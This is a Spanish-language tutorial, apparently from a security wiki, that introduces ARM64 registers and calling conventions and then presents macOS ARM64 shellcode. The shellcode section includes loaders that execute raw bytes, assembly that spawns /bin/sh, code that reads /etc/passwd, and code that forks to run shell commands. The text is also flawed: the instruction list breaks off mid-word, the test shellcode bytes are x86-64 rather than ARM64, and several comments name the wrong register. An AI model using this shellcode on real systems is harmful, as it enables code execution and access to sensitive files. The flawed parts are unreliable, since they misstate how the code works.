# Introducción a ARM64 ARM64, también conocido como ARMv8-A, es una arquitectura de procesador de 64 bits utilizada en varios tipos de dispositivos, incluyendo teléfonos inteligentes, tabletas, servidores e incluso algunas computadoras personales de alta gama (macOS). Es un producto de ARM Holdings, una empresa conocida por sus diseños de procesadores eficientes en energía. ### Registros ARM64 tiene **31 registros de propósito general**, etiquetados como `x0` a `x30`. Cada uno puede almacenar un valor de **64 bits** (8 bytes). Para operaciones que requieren solo valores de 32 bits, los mismos registros se pueden acceder en un modo de 32 bits utilizando los nombres w0 a w30. 1. **`x0`** a **`x7`** - Estos se utilizan típicamente como registros de scratch y para pasar parámetros a subrutinas. * **`x0`** también lleva los datos de retorno de una función. 2. **`x8`** - En el kernel de Linux, `x8` se utiliza como el número de llamada al sistema para la instrucción `svc`. **¡En macOS se utiliza x16!** 3. **`x9`** a **`x15`** - Registros temporales, a menudo utilizados para variables locales. 4. **`x16`** y **`x17`** - Registros temporales, también utilizados para llamadas de función indirectas y stubs de PLT (Tabla de Enlace de Procedimiento). * **`x16`** se utiliza como el número de llamada al sistema para la instrucción **`svc`**. 5. **`x18`** - Registro de plataforma. En algunas plataformas, este registro está reservado para usos específicos de la plataforma. 6. **`x19`** a **`x28`** - Estos son registros guardados por el llamado. Una función debe preservar los valores de estos registros para su llamador. 7. **`x29`** - Puntero de marco. 8. **`x30`** - Registro de enlace. Contiene la dirección de retorno cuando se ejecuta una instrucción `BL` (Rama con Enlace) o `BLR` (Rama con Enlace a Registro). 9. **`sp`** - Puntero de pila, utilizado para realizar un seguimiento de la parte superior de la pila. 10. **`pc`** - Contador de programa, que apunta a la siguiente instrucción a ejecutar. ### Convención de llamada La convención de llamada ARM64 especifica que los **primeros ocho parámetros** de una función se pasan en los registros **`x0` a `x7`**. Los parámetros **adicionales** se pasan en la **pila**. El valor de **retorno** se pasa de vuelta en el registro **`x0`**, o en **`x1`** también **si es de 128 bits**. Los registros **`x19`** a **`x30`** y **`sp`** deben ser **preservados** en las llamadas a funciones. Al leer una función en ensamblador, busque el **prólogo y epílogo de la función**. El **prólogo** generalmente implica **guardar el puntero de marco (`x29`)**, **configurar** un **nuevo puntero de marco**, y **asignar espacio en la pila**. El **epílogo** generalmente implica **restaurar el puntero de marco guardado** y **regresar** de la función. ### Instrucciones comunes Las instrucciones ARM64 generalmente tienen el **formato `opcode dst, src1, src2`**, donde **`opcode`** es la **operación** que se realizará (como `add`, `sub`, `mov`, etc.), **`dst`** es el registro **destino** donde se almacenará el resultado, y **`src1`** y **`src2`** son los registros **fuente**. Los valores inmediatos también se pueden usar en lugar de los registros fuente. * **`mov`**: **Mover** un valor de un **registro** a otro. * Ejemplo: `mov x0, x1` — Esto mueve el valor de `x1` a `x0`. * **`ldr`**: **Cargar** un valor de la **memoria** en un **registro**. * Ejemplo: `ldr x0, [x1]` — Esto carga un valor de la ubicación de memoria apuntada por `x1` en `x0`. * **`str`**: **Almacenar** un valor de un **registro** en la **memoria**. * Ejemplo: `str x0, [x1]` — Esto almacena el valor en `x0` en la ubicación de memoria apuntada por `x1`. * **`ldp`**: **Cargar par de registros**. Esta instrucción **carga dos registros** de **ubicaciones de memoria consecut ## macOS ### syscalls Revisa [**syscalls.master**](https://opensource.apple.com/source/xnu/xnu-1504.3.12/bsd/kern/syscalls.master). ### Shellcodes Para compilar: {% code overflow="wrap" %} ```bash as -o shell.o shell.s ld -o shell shell.o -macosx_version_min 13.0 -lSystem -L /Library/Developer/CommandLineTools/SDKs/MacOSX.sdk/usr/lib ``` {% endcode %} Para extraer los bytes: ```bash # Code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/helper/extract.sh for c in $(objdump -d "s.o" | grep -E '[0-9a-f]+:' | cut -f 1 | cut -d : -f 2) ; do echo -n '\\x'$c done ``` Código C para probar el shellcode ```c #include #include unsigned char code[] = \ "\x48\x31\xc0\x48\x83\xc0\x01\x48\x31\xff\x48\x83\xc7\x01\x48\x31\xf6\x48\x83\xc6\x02\x48\x31\xd2\x48\x83\xc2\x0e\x0f\x05\x48\x31\xc0\x48\x83\xc0\x3c\x48\x31\xff\x0f\x05"; int main(){ printf("Shellcode length: %d\n", strlen(code)); int (*ret)() = (int(*)())code; ret(); } ``` ```c // code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/helper/loader.c // gcc loader.c -o loader #include #include #include #include int (*sc)(); char shellcode[] = ""; int main(int argc, char **argv) { printf("[>] Shellcode Length: %zd Bytes\n", strlen(shellcode)); void *ptr = mmap(0, 0x1000, PROT_WRITE | PROT_READ, MAP_ANON | MAP_PRIVATE | MAP_JIT, -1, 0); if (ptr == MAP_FAILED) { perror("mmap"); exit(-1); } printf("[+] SUCCESS: mmap\n"); printf(" |-> Return = %p\n", ptr); void *dst = memcpy(ptr, shellcode, sizeof(shellcode)); printf("[+] SUCCESS: memcpy\n"); printf(" |-> Return = %p\n", dst); int status = mprotect(ptr, 0x1000, PROT_EXEC | PROT_READ); if (status == -1) { perror("mprotect"); exit(-1); } printf("[+] SUCCESS: mprotect\n"); printf(" |-> Return = %d\n", status); printf("[>] Trying to execute shellcode...\n"); sc = ptr; sc(); return 0; } ``` #### Shell Tomado de [**aquí**](https://github.com/daem0nc0re/macOS\_ARM64\_Shellcode/blob/master/shell.s) y explicado. {% tabs %} {% tab title="con adr" %} ```armasm .section __TEXT,__text ; This directive tells the assembler to place the following code in the __text section of the __TEXT segment. .global _main ; This makes the _main label globally visible, so that the linker can find it as the entry point of the program. .align 2 ; This directive tells the assembler to align the start of the _main function to the next 4-byte boundary (2^2 = 4). _main: adr x0, sh_path ; This is the address of "/bin/sh". mov x1, xzr ; Clear x1, because we need to pass NULL as the second argument to execve. mov x2, xzr ; Clear x2, because we need to pass NULL as the third argument to execve. mov x16, #59 ; Move the execve syscall number (59) into x16. svc #0x1337 ; Make the syscall. The number 0x1337 doesn't actually matter, because the svc instruction always triggers a supervisor call, and the exact action is determined by the value in x16. sh_path: .asciz "/bin/sh" ``` {% endtab %} {% tab title="con pila" %} ```armasm .section __TEXT,__text ; This directive tells the assembler to place the following code in the __text section of the __TEXT segment. .global _main ; This makes the _main label globally visible, so that the linker can find it as the entry point of the program. .align 2 ; This directive tells the assembler to align the start of the _main function to the next 4-byte boundary (2^2 = 4). _main: ; We are going to build the string "/bin/sh" and place it on the stack. mov x1, #0x622F ; Move the lower half of "/bi" into x1. 0x62 = 'b', 0x2F = '/'. movk x1, #0x6E69, lsl #16 ; Move the next half of "/bin" into x1, shifted left by 16. 0x6E = 'n', 0x69 = 'i'. movk x1, #0x732F, lsl #32 ; Move the first half of "/sh" into x1, shifted left by 32. 0x73 = 's', 0x2F = '/'. movk x1, #0x68, lsl #48 ; Move the last part of "/sh" into x1, shifted left by 48. 0x68 = 'h'. str x1, [sp, #-8] ; Store the value of x1 (the "/bin/sh" string) at the location `sp - 8`. ; Prepare arguments for the execve syscall. mov x1, #8 ; Set x1 to 8. sub x0, sp, x1 ; Subtract x1 (8) from the stack pointer (sp) and store the result in x0. This is the address of "/bin/sh" string on the stack. mov x1, xzr ; Clear x1, because we need to pass NULL as the second argument to execve. mov x2, xzr ; Clear x2, because we need to pass NULL as the third argument to execve. ; Make the syscall. mov x16, #59 ; Move the execve syscall number (59) into x16. svc #0x1337 ; Make the syscall. The number 0x1337 doesn't actually matter, because the svc instruction always triggers a supervisor call, and the exact action is determined by the value in x16. ``` {% endtab %} {% endtabs %} #### Leer con cat El objetivo es ejecutar `execve("/bin/cat", ["/bin/cat", "/etc/passwd"], NULL)`, por lo que el segundo argumento (x1) es una matriz de parámetros (que en memoria significa una pila de direcciones). ```armasm .section __TEXT,__text ; Begin a new section of type __TEXT and name __text .global _main ; Declare a global symbol _main .align 2 ; Align the beginning of the following code to a 4-byte boundary _main: ; Prepare the arguments for the execve syscall sub sp, sp, #48 ; Allocate space on the stack mov x1, sp ; x1 will hold the address of the argument array adr x0, cat_path str x0, [x1] ; Store the address of "/bin/cat" as the first argument adr x0, passwd_path ; Get the address of "/etc/passwd" str x0, [x1, #8] ; Store the address of "/etc/passwd" as the second argument str xzr, [x1, #16] ; Store NULL as the third argument (end of arguments) adr x0, cat_path mov x2, xzr ; Clear x2 to hold NULL (no environment variables) mov x16, #59 ; Load the syscall number for execve (59) into x8 svc 0 ; Make the syscall cat_path: .asciz "/bin/cat" .align 2 passwd_path: .asciz "/etc/passwd" ``` #### Invocar un comando con sh desde un fork para que el proceso principal no sea detenido ```armasm .section __TEXT,__text ; Begin a new section of type __TEXT and name __text .global _main ; Declare a global symbol _main .align 2 ; Align the beginning of the following code to a 4-byte boundary _main: ; Prepare the arguments for the fork syscall mov x16, #2 ; Load the syscall number for fork (2) into x8 svc 0 ; Make the syscall cmp x1, #0 ; In macOS, if x1 == 0, it's parent process, https://opensource.apple.com/source/xnu/xnu-7195.81.3/libsyscall/custom/__fork.s.auto.html beq _loop ; If not child process, loop ; Prepare the arguments for the execve syscall sub sp, sp, #64 ; Allocate space on the stack mov x1, sp ; x1 will hold the address of the argument array adr x0, sh_path str x0, [x1] ; Store the address of "/bin/sh" as the first argument adr x0, sh_c_option ; Get the address of "-c" str x0, [x1, #8] ; Store the address of "-c" as the second argument adr x0, touch_command ; Get the address of "touch /tmp/lalala" str x0, [x1, #16] ; Store the address of "touch /tmp/lalala" as the third argument str xzr, [x1, #24] ; Store NULL as the fourth argument (end of arguments) adr x0, sh_path mov x2, xzr ; Clear x2 to hold NULL (no environment variables) mov x16, #59 ; Load the syscall number for execve (59) into x8 svc 0 ; Make the syscall _exit: mov x16, #1 ; Load the syscall number for exit (1) into x8 mov x0, #0 ; Set exit status code to 0 svc 0 ; Make the syscall _loop: b _loop sh_path: .asciz "/bin/sh" .align 2 sh_c_option: .asciz "-c" .align 2 touch_command: .asciz "touch /tmp/lalala" ```
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